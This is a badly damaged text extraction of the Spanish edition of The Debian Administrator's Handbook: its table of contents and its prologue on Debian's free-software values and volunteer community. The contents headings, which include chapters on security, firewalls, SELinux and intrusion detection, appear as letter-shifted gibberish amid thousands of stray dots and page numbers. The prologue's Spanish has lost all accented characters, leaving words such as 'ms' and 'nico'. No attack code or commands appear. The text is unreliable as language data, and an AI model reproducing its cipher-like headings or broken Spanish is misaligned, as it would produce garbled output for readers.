.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

341
342
342
343
343
345
346
348
349
350
350
351
351
353
353
354
354
355
355
355
357
357
358
358

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

365
366
367
367
368
369
370
370
371
372
373
373
373
374
375
376
377
377
378

 &TUBDJO EF USBCBKP


 $POGJHVSBDJO EFM TFSWJEPS 9 . . . .
 1FSTPOBMJ[BDJO EF MB JOUFSGB[ HSGJDB
 &MFDDJO EF VO HFTUPS EF QBOUBMMB . . .
 &MFDDJO EF VO HFTUPS EF WFOUBOBT . . .
 (FTUJO EFM NFO . . . . . . . . . . .
 &TDSJUPSJPT HSGJDPT . . . . . . . . . . . .
 (/0.& . . . . . . . . . . . . . . . .
 ,%& . . . . . . . . . . . . . . . . . .
 9GDF Z PUSPT . . . . . . . . . . . . . .
 )FSSBNJFOUBT . . . . . . . . . . . . . . .
 $PSSFP . . . . . . . . . . . . . . . . .
&WPMVUJPO . . . . . . . . . . . . . .
,.BJM . . . . . . . . . . . . . . . .
5IVOEFSCJSE Z *DFEPWF . . . . . . . .
 /BWFHBEPSFT XFC . . . . . . . . . . .
 %FTBSSPMMP . . . . . . . . . . . . . . .
)FSSBNJFOUBT QBSB (5, FO (/0.& . .
)FSSBNJFOUBT QBSB 2U FO ,%& . . . . .

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

OEJDF HFOFSBM

9*

...........
5SBCBKP FO HSVQP HSPVQXBSF . . . . . .
4JTUFNBT EF NFOTBKFSB JOTUBOUOFB . . . .
5SBCBKP DPMBCPSBUJWP DPO 'VTJPO'PSHF . . .
 4VJUFT EF PGJDJOB . . . . . . . . . . . . .
 &NVMBDJO EF 8JOEPXT 8JOF . . . . . .

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

378
378
378
380
381
382

...
....
....
....
....
....
....
 *OTUBMBDJO EF MBT SFHMBT FO DBEB BSSBORVF . . .
 4VQFSWJTJO QSFWFODJO EFUFDDJO EJTVBTJO
 .POJUPSJ[BDJO EF MPT SFHJTUSPT DPO logcheck . .
 .POJUPSJ[BDJO EF BDUJWJEBE . . . . . . . . . . .
&O UJFNQP SFBM . . . . . . . . . . . . . . . . .
)JTUPSJBM . . . . . . . . . . . . . . . . . . . .
 %FUFDDJO EF DBNCJPT . . . . . . . . . . . . . .
"VEJUPSB EF QBRVFUFT debsums Z TVT MNJUFT . . .
.POJUPSJ[BDJO EF BSDIJWPT "*%& . . . . . . . .
 %FUFDDJO EF JOUSVTJPOFT *%4/*%4
. . . . . .
 *OUSPEVDDJO B 4&-JOVY . . . . . . . . . . . . . .
 1SJODJQJPT . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF 4&-JOVY . . . . . . . . . . . .
 (FTUJO EF VO TJTUFNB 4&-JOVY . . . . . . . . .
(FTUJO EF NEVMPT 4&-JOVY . . . . . . . . . . .
(FTUJO EF JEFOUJEBEFT . . . . . . . . . . . . .

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

385
386
388
388
391
391
391
392
393
394
394
395
395
396
397
397
398
399
400
400
403
404
404
405
406
407
407
407
409
411
413
413
413
415
415
416
416

 5SBCBKP DPMBCPSBUJWP

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

 4FHVSJEBE
 %FGJOJDJO EF VOB QPMUJDB EF TFHVSJEBE
 'JSFXBMM P FM GJMUSBEP EF QBRVFUFT . . . .
 $PNQPSUBNJFOUP EF OFUGJMUFS . . . . . .
 4JOUBYJT EF iptables F ip6tables . . . .
SEFOFT . . . . . . . . . . . . . . . .
3FHMBT . . . . . . . . . . . . . . . . .
 $SFBDJO EF SFHMBT . . . . . . . . . . . .

(FTUJO EF DPOUFYUPT EF BSDIJWPT QVFSUPT Z WBMPSFT CPPMFBOPT

.................
$SFBDJO EF VO BSDIJWP .fc . . . . . . . . . . . . . . .
$SFBDJO EF VO BSDIJWP .if . . . . . . . . . . . . . . .
&TDSJUVSB EF VO BSDIJWP .te . . . . . . . . . . . . . . .
$PNQJMBDJO EF MPT BSDIJWPT . . . . . . . . . . . . . . .
 0USBT DPOTJEFSBDJPOFT SFMBDJPOBEBT DPO MB TFHVSJEBE
 3JFTHPT JOIFSFOUFT EF MBT BQMJDBDJPOFT XFC . . . . . . . .
 4BCFS RV FTQFSBS . . . . . . . . . . . . . . . . . . . . .
 4FMFDDJO QSVEFOUF EF TPXBSF . . . . . . . . . . . . . .
 (FTUJO EF VOB NRVJOB DPNP VO UPEP . . . . . . . . . .
 -PT VTVBSJPT UBNCJO TPO QBSUF . . . . . . . . . . . . . .
 4FHVSJEBE GTJDB . . . . . . . . . . . . . . . . . . . . . .
 "EBQUBDJO EF MBT SFHMBT

9**

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

..............
 5SBUBNJFOUP EF VOB NRVJOB DPNQSPNFUJEB
 %FUFDDJO Z WJTVBMJ[BDJO EF MB JOUSVTJO . . . .
 %FTDPOFYJO EFM TFSWJEPS . . . . . . . . . . . .

.
.
.
.
 1SFTFSWBDJO EF UPEP MP RVF QVFEB VUJMJ[BS DPNP FWJEFODJB .
 3FJOTUBMBDJO . . . . . . . . . . . . . . . . . . . . . . . .
 "OMJTJT GPSFOTF . . . . . . . . . . . . . . . . . . . . . . .
 3FDPOTUSVDDJO EFM FTDFOBSJP EF BUBRVF . . . . . . . . . . .
 3FTQPOTBCJMJEBE MFHBM

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

417
417
417
418
418
419
420
420

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

425
426
426
426
428
429
429
430
434
436
436
437
437
437
439
439
440
440
441
442

 $SFBDJO EF VO QBRVFUF %FCJBO


 3FDPNQJMBDJO EF VO QBRVFUF EFTEF TVT GVFOUFT .
 0CUFODJO EF MBT GVFOUFT . . . . . . . . . . . . . . .
 3FBMJ[BDJO EF DBNCJPT . . . . . . . . . . . . . . . .
 *OJDJP EF MB SFDPNQJMBDJO . . . . . . . . . . . . . . .
 $SFBDJO EF TV QSJNFS QBRVFUF . . . . . . . . . . . .
 .FUBQBRVFUFT P QBRVFUFT GBMTPT . . . . . . . . . . .
 4JNQMF DPNQFOEJP EF BSDIJWPT . . . . . . . . . . . .
 $SFBDJO EF VO SFQPTJUPSJP EF QBRVFUFT QBSB "15
 $NP DPOWFSUJSTF FO VO FODBSHBEP EF QBRVFUFT .
 "QSFOEJ[BKF EF DSFBDJO EF QBRVFUFT . . . . . . . . .
3FHMBT . . . . . . . . . . . . . . . . . . . . . . . .
1SPDFEJNJFOUPT . . . . . . . . . . . . . . . . . . . .
)FSSBNJFOUBT . . . . . . . . . . . . . . . . . . . .
 1SPDFTP EF BDFQUBDJO . . . . . . . . . . . . . . . . .
1SFSFRVJTJUPT . . . . . . . . . . . . . . . . . . . . .
3FHJTUSBDJO . . . . . . . . . . . . . . . . . . . . .
"DFQUBDJO EF QSJODJQJPT . . . . . . . . . . . . . . .
3FWJTJO EF IBCJMJEBEFT . . . . . . . . . . . . . . . .
"QSPCBDJO GJOBM . . . . . . . . . . . . . . . . . . .

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

 $PODMVTJO FM GVUVSP EF %FCJBO

445
 -PT QSYJNPT EFTBSSPMMPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 446
 &M GVUVSP EF %FCJBO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 446
 &M GVUVSP EF FTUF MJCSP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447

" %JTUSJCVDJPOFT EFSJWBEBT


" $FOTP Z DPPQFSBDJO . . . . . .
" 6CVOUV . . . . . . . . . . . . . . .
" ,OPQQJY . . . . . . . . . . . . . . .
" -JOVY .JOU . . . . . . . . . . . . .
" 4JNQMZ.&1*4 . . . . . . . . . . .
" "QUPTJE BOUFSJPSNFOUF 4JEVY

" (SNM . . . . . . . . . . . . . . . . .
" %PVEPV-JOVY . . . . . . . . . . .
" : NVDIBT NT . . . . . . . . . .

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

449
449
449
450
451
451
452
452
452
452

OEJDF HFOFSBM

9***

# $VSTP CSFWF EF FNFSHFODJB


# $POTPMB Z SEFOFT CTJDBT . . . . . . . . . . . . . . . . . .
# /BWFHBDJO EFM SCPM EF EJSFDUPSJPT Z HFTUJO EF BSDIJWPT .
# 7JTVBMJ[BDJO Z NPEJGJDBDJO EF BSDIJWPT EF UFYUP . . . . .
# #TRVFEB EF Z FO BSDIJWPT . . . . . . . . . . . . . . . . .
# (FTUJO EF QSPDFTP . . . . . . . . . . . . . . . . . . . . .

..........
..........
..........
..........
..........
# *OGPSNBDJO EF TJTUFNB NFNPSJB FTQBDJP FO EJTDP JEFOUJEBE . . . . . . . . . .
# 0SHBOJ[BDJO EF MB KFSBSRVB EFM TJTUFNB EF BSDIJWPT . . . . . . . . . . . .
# &M EJSFDUPSJP SB[ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# &M EJSFDUPSJP QFSTPOBM EF MPT VTVBSJPT . . . . . . . . . . . . . . . . . . . . . . .
# 'VODJPOBNJFOUP JOUFSOP EF VO FRVJQP MBT EJGFSFOUFT DBQBT JOWPMVDSBEBT
# -B DBQB NT QSPGVOEB FM IBSEXBSF . . . . . . . . . . . . . . . . . . . . . . . .
# &M JOJDJBEPS FM #*04 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# &M ODMFP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# &M FTQBDJP EF VTVBSJP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# "MHVOBT UBSFBT BENJOJTUSBEBT QPS FM ODMFP . . . . . . . . . . . . . . . . . .
# "ENJOJTUSBDJO EFM IBSEXBSF . . . . . . . . . . . . . . . . . . . . . . . . . . .
# 4JTUFNBT EF BSDIJWPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# 'VODJPOFT DPNQBSUJEBT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# (FTUJO EF QSPDFTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# (FTUJO EF QFSNJTPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# &M FTQBDJP EF VTVBSJP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# 1SPDFTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# %FNPOJPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
# $PNVOJDBDJO FOUSF QSPDFTPT . . . . . . . . . . . . . . . . . . . . . . . . . . .
# #JCMJPUFDBT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

OEJDF BMGBCUJDP

9*7

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

455
455
455
456
457
457
457
458
458
459
460
460
461
462
462
462
462
463
464
464
465
465
466
466
467
468
470

1SMPHP
Debian es un sistema operativo muy exitoso, presente en nuestras vidas digitales mucho ms de
lo que la gente imagina o sabe. Unos pocos ejemplos son suficientes para demostrarlo. Al momento de escribir estas palabras, Debian es la variante de GNU/Linux ms popular para servidores web: segn W3Techs1 ms de 10 % de la web funciona con Debian. Considrelo cuidadosamente: cuntos sitios web no podra haber visitado hoy sin Debian? En despliegues ms imponentes, Debian es el sistema operativo de preferencia en la estacin espacial internacional (ISS:
International Space Station). Conoce del trabajo de los astronautas de la ISS, tal vez a travs
de la presencia de la NASA en las redes sociales u otras organizaciones internacionales? Tanto
el trabajo en s como los artculos al respecto fueron posibles gracias a Debian. Incontables empresas, universidades y administraciones pblicas confan en Debian para su funcionamiento
diario, proveyendo servicios a millones de usuarios alrededor del mundo... y en rbita!
Pero Debian es mucho ms que un sistema operativo, sin importar cun complejo, funcional y
confiable pueda ser dicho sistema. Debian es una visin de las libertades que todos deberamos
disfrutar en un mundo en el que cada vez ms actividades diarias dependen de software. Debian
nace de la idea principal del Software Libre: toda persona debe tener control de sus equipos y
no a la inversa. Aquellos que posean suficiente conocimiento de software deberan poder desmantelar, modificar, rearmar y compartir con otro todo el software que les importe. No importa
si se usa el software para actividades frvolas como publicar imgenes de gatitos, o tareas que
podran amenazar la vida como manejar nuestros autos o hacer funcionar los dispositivos mdicos que nos curan; deberamos controlarlo. Aquellos que no tengan un conocimiento profundo
del software tambin deberan disfrutar esta libertad: deberan ser capaces de delegar a quienes
ellos decidan, en quienes confen, la auditora o modificacin del software de sus dispositivos.
En la bsqueda del control sobre las mquinas, los sistemas operativos Libres tienen un rol fundamental: no puede estar completamente en control de un dispositivo si no controla su sistema
operativo. De aqu proviene la ambicin fundamental de Debian: producir el mejor sistema operativo completamente Libre. Hace ya ms de 20 aos Debian ha desarrollado un sistema operativo libre y tambin promocionado una visin de Software Libre alrededor del mismo. Al hacerlo,
Debian elev la barrera para los promotores del software libre en el mundo. Por ejemplo, organizaciones de estndares internacionales, gobiernos y otros proyectos de Software Libre hacen
referencia a las decisiones de Debian en cuestiones de licenciamiento de software para decidir
si algo debe ser considerado suficientemente libre o no.

http://w3techs.com/

Pero esta visin poltica todava no es suficiente para explicar cun especial es Debian. Debian
tambin es un experimento social peculiar, muy cercano a su independencia. Considere por un
momento a otras distribuciones de Software Libre reconocidas, o inclusive sistemas operativos
privativos populares. Es probable que pueda asociar cada una de ellas con una gran empresa
que es la fuerza mayoritaria en el desarrollo del proyecto o, cuando menos, el supervisor de
todas sus actividades ajenas al desarrollo. Debian es diferente. Dentro del Proyecto Debian, los
voluntarios eligen por s mismos las responsabilidades de todas las actividades necesarias para
mantener a Debian vivo y coleando. La variedad de dichas actividades es impresionante: desde
traducciones a administracin de sistemas, desde publicidad a gestin, desde organizacin de
conferencias a diseo de arte, desde los registros contables a cuestiones legales... y no olvidemos
el empaquetado de software y el desarrollo en s! Los colaboradores de Debian se encargan de
todas ellas.
Como primera consecuencia de esta forma radical de independencia, Deben necesita y confa en
una comunidad de voluntarios muy diversa. Cualquier habilidad en cualquier rea mencionada,
u otras que pueda imaginar, puede invertirse en Debian y utilizarse para mejorar el proyecto.
Una segunda consecuencia de la independencia de Debian es que se puede confiar en que las
decisiones de Debian no son influenciadas por intereses comerciales o empresas especficas
intereses sobre los que no tenemos garantas siempre estn alineados con el objetivo de promocionar el control que tiene la gente sobre las mquinas, como muchos ejemplos recientes en las
noticias tecnolgicas atestiguan.
Un ltimo aspecto contribuye a que Debian sea especial: la forma en la que se conduce el experimento social. A pesar de su fama burocrtica, la toma de decisiones en Debian es muy desestructurada, casi anrquica. Existen reas de responsabilidad bien definidas dentro del proyecto.
Quienes estn a cargo de dichas reas pueden hacerlo como lo deseen. Siempre que adhieran
a los requisitos de calidad acordados por la comunidad, nadie puede decirles qu hacer o cmo hacerlo. Si desea tener incidencia en cmo se hace algo en Debian, necesita estar dispuesto
a poner su reputacin en juego y tomar dicho trabajo sobre sus hombros. Esta forma peculiar
de meritocracia a veces llamada do-ocracy (del ingls do: hacer) es muy poderosa para
los colaboradores. Cualquiera con suficiente habilidad, tiempo y motivacin puede tener un impacto real en la direccin que toma el proyecto. Es testigo de esto la poblacin de alrededor de
1000 miembros oficiales del Proyecto Debian y miles de colaboradores en todo el mundo. No es
sorpresa que se diga que Debian es el proyecto de Software Libre llevado a cabo por una comunidad ms grande que existe.
As que Debian es bastante nico. Somos los nicos que lo notamos? Definitivamente no. Segn
DistroWatch2 , existen alrededor de 300 distribuciones de Software Libre activas. La mitad de
ellas (alrededor de 140) son derivadas de Debian. Esto significa que comienzan con Debian, lo
adaptan a las necesidades de sus usuarios generalmente agregando, modificando o reconstruyendo paquetes y publican el producto que resulta. Escencialmente, las derivadas utilizan las libertadas que ofrece el Software Libre para modificar y redistribuir copias no slo de
porciones individuales de software sino de la distribucin completa. El potencial para alcanzar nuevos usuarios y colaboradores de Software Libre a travs de distribuciones derivadas es
2

97*

http://distrowatch.com/

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

enorme. Creemos que es gracias a ese ecosistema floreciente que el Software Libre hoy en da
finalmente le hace frente a software privativo en campos que histricamente eran considerados
difciles de conquistar, como grandes despliegues de sistemas de escritorio. Debian se ubica en
la raz del ecosistema de distribuciones de Software Libre ms grande que existe: inclusive si no
utiliza Debian directamente, e inclusive si se lo inform su distribuidor, es posible que ahora se
est beneficiando del trabajo de la comunidad de Debian.
Pero el que Debian sea nico acarrea consecuencias inesperadas a veces. Una consecuencia de
la visin de Debian sobre libertades digitales, fue la necesidad de redefinir lo que entendemos
por software. Hace tiempo que el Proyecto Debian se dio cuenta que, como parte de un sistema
operativo, necesita distribuir material que no es software: msica, imgenes, documentacin,
datos crudos, firmware, etc. Cmo se aplican la libertades de software a ese material? Deberan
existir requisitos particulares o todo el material debera estar sujeto a los mismos, y altos, estndares de libertad? El Proyecto Debian se decidi por esto ltimo: todo el material provisto como
parte de Debian debera ofrecer las mismas libertades a sus usuarios. Esa posicin filosfica tan
radical tiene efectos de gran alcance. Significa que no podemos distribuir firmware privativo, u
obras de arte que no pueden utilizarse en ambientes comerciales, o libros que no pueden modificarse para evitar manchar (como dice el folklore de publicadores de libros) la reputacin del
autor/publicador.
El libro que tiene en sus manos es diferente. Es un libro libre como la libertad, un libro que adhiere a
los estndares de libertad de Debian para todos los aspectos de su vida digital. Por mucho tiempo,
la escasa disponibilidad de libros como este fue una gran limitacin de Debian. Significaba que
exista poco material de lectura que ayudara a difundir Debian y sus valores al mismo tiempo
que representara dichos valores y mostrara sus ventajas. Por tambin significaba, irnicamente,
que tenamos poco material que pudiramos distribuir con Debian en s mismo. Este es el primer
libro reputable que intenta solucionar esta limitacin. Puede utilizar apt-get install para
obtener este libro, puede redistribuirlo, puede bifurcarlo o, mejor an, enviar reportes de error
y correcciones para el mismo de forma que otros puedan beneficiarse de sus contribuciones. Los
encargados de este libro que tambin son sus autores son miembros del Proyecto Debian
desde hace mucho tiempo, quienes asimilaron y fueron asimilados por la distintiva libertad que
empapa todo aspecto de Debian y conocen de primera mano lo que significa ser responsables
de partes importantes de Debian. Al liberar este libro Libre realizan, una vez ms, un fantstico
servicio a la comunidad Debian.
Esperamos que disfrute esta piedra angular de Debian leyendo Libertad tanto como nosotros.
